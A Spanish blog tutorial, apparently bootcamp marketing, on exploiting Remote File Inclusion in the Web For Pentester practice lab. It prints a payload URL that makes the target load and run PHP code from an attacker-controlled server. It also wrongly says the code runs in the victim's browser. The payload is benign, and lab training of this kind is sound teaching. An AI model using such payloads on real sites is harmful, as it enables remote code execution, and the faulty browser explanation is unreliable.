Remote File Inclusion en Web For Pentester

Autor: | Última modificación: 10 de noviembre de 2022 | Tiempo de Lectura: 3 minutos
Temas en este post: ,

El siguiente tutorial sobre cómo hacer un ataque de Remote File Inclusion en Web For Pentester está hecho con fines educativos. El propósito de la técnica que veremos a continuación es aprender a identificar fallos de seguridad en aplicaciones web. Practicar hacking en sitios web ajenos, sin autorización, es ilegal. Por eso, te enseñaremos cómo realizar el siguiente ejercicio en un entorno de práctica de hacking web seguro y legal.

Algo de contexto

Remote File Inclusion es una vulnerabilidad web que le permite a los atacantes ejecutar código PHP en el navegador de las víctimas por medio de aplicaciones web con fallos. Las vulnerabilidades de este tipo se pueden reconocer directamente en la direcciones URL de los sitios cuando presentan parámetros como el siguiente:

page=intro.php

Este parámetro, en una dirección URL, da un indicio de que la aplicación está ejecutando código PHP por medio de un input del lado del cliente. Ahora, para entender mejor esta vulnerabilidad, veremos un ejemplo de Remote File Inclusion en Web For Pentester.

¿Qué es Web For Pentester?

Web For Pentester es un entorno web vulnerable desarrollado a propósito de este modo por la empresa PentesterLab. Esta aplicación sirve para practicar técnicas de hacking web relacionadas con diferentes tipos de vulnerabilidades de manera totalmente legal y segura. Para aprender a instalar e iniciar Web For Pentester, visita nuestro tutorial sobre cómo hacerlo.

Remote File Inclusion en Web For Pentester

Preparación del entorno virtual

Antes de comenzar este ejercicio, es necesario preparar nuestro entorno de práctica legal de hacking web. Para ello, sigue los siguientes pasos:

  1. Crea o abre una máquina virtual con la versión más reciente de Kali Linux.
  2. Instala la máquina virtual de Web For Pentester.
  3. Averigua la dirección IP de ambas máquinas virtuales, utilizando el comando «ifconfig» en sus terminales.

Supondremos que las IP de las máquinas son:

  • IP de la máquina con Kali Linux: 192.168.175.128
  • IP de la máquina de Web For Pentester: 192.168.175.129

Ataque de Remote File Inclusion

Ya hemos preparado entorno web de práctica. Ahora, veremos cómo funciona un ataque de Remote File Inclusion en Web For Pentester.

  • Abre un navegador en la máquina de Kali Linux e ingresa a la dirección IP de la máquina de Web For Pentester.
Remote File Inclusion en Web For Pentester 1
  • Dirígete a la sección que dice «File Include» y elige la opción «Example 1«. Haz clic en el enlace, que te llevará a la siguiente página:
Remote File Inclusion en Web For Pentester 2
  • Notarás que, en la URL, se encuentra el parámetro «page=intro.php«. Como habíamos dicho antes, nos indica que se está ejecutando código PHP por medio de un input del lado del cliente. Para probar que la vulnerabilidad existe, intentaremos ingresar a cualquier página web desde ese parámetro:
page=http://www.google.com
Remote File Inclusion en Web For Pentester 3

🔴 ¿Quieres entrar de lleno a la Ciberseguridad? 🔴

Descubre el Ciberseguridad Full Stack Bootcamp de KeepCoding. La formación más completa del mercado y con empleabilidad garantizada

👉 Prueba gratis el Bootcamp en Ciberseguridad por una semana

Ya hemos comprobado que la vulnerabilidad de Remote File Inclusion en Web For Pentester está presente. Ahora, pasaremos a ver el proceso de explotación de este fallo.

Explotación

En una terminal de Kali, inicia el servidor de Apache2 con el siguiente comando:

service apache2 start

Ahora, pon el sevidor a la escucha con este comando:

tail -f /var/log/apache2/access.log

Después, abre otra terminal y crea el archivo de texto «test» en el directorio «/var/www/html» con el siguiente comando:

nano /var/www/html/test

Se abrirá el editor de texto del archivo y, allí, escribe el siguiente código PHP:

<?php
phpinfo();
?>
Remote File Inclusion en Web For Pentester 4

Luego, regresa a la página vulnerable de Web For Pentester y ejecuta el siguiente payload:

http://192.168.175.129/fileincl/example1.php?page=http://192.168.175.128/test

Este le indica al navegador de la víctima que se conecte a un servidor del atacante y ejecute el fichero «test», que contiene un código PHP.

Remote File Inclusion en Web For Pentester 5

Como resultado, verás que el navegador ha interpretado el código PHP que programaste en el paso anterior.

¿Cómo aprender más?

Ya has aprendido cómo hacer un ataque de Remote File Inclusion en Web For Pentester. Si quieres aprender más técnicas y ejercicios de hacking web, ingresa a nuestro Ciberseguridad Full Stack Bootcamp y descubre cómo especializarte en tan solo 7 meses. ¡No sigas esperando! ¡Impulsa tu vida profesional ahora!

[email protected]

¿Trabajo? Aprende a programar y consíguelo.

¡No te pierdas la próxima edición del Aprende a Programar desde Cero Full Stack Jr. Bootcamp!

 

Prepárate en 4 meses, aprende las últimas tecnologías y consigue trabajo desde ya. 

 

Solo en España hay más de 120.400 puestos tech sin cubrir, y con un sueldo 11.000€ por encima de la media nacional. ¡Es tu momento!

 

🗓️ Próxima edición: 13 de febrero

 

Reserva tu plaza descubre las becas disponibles.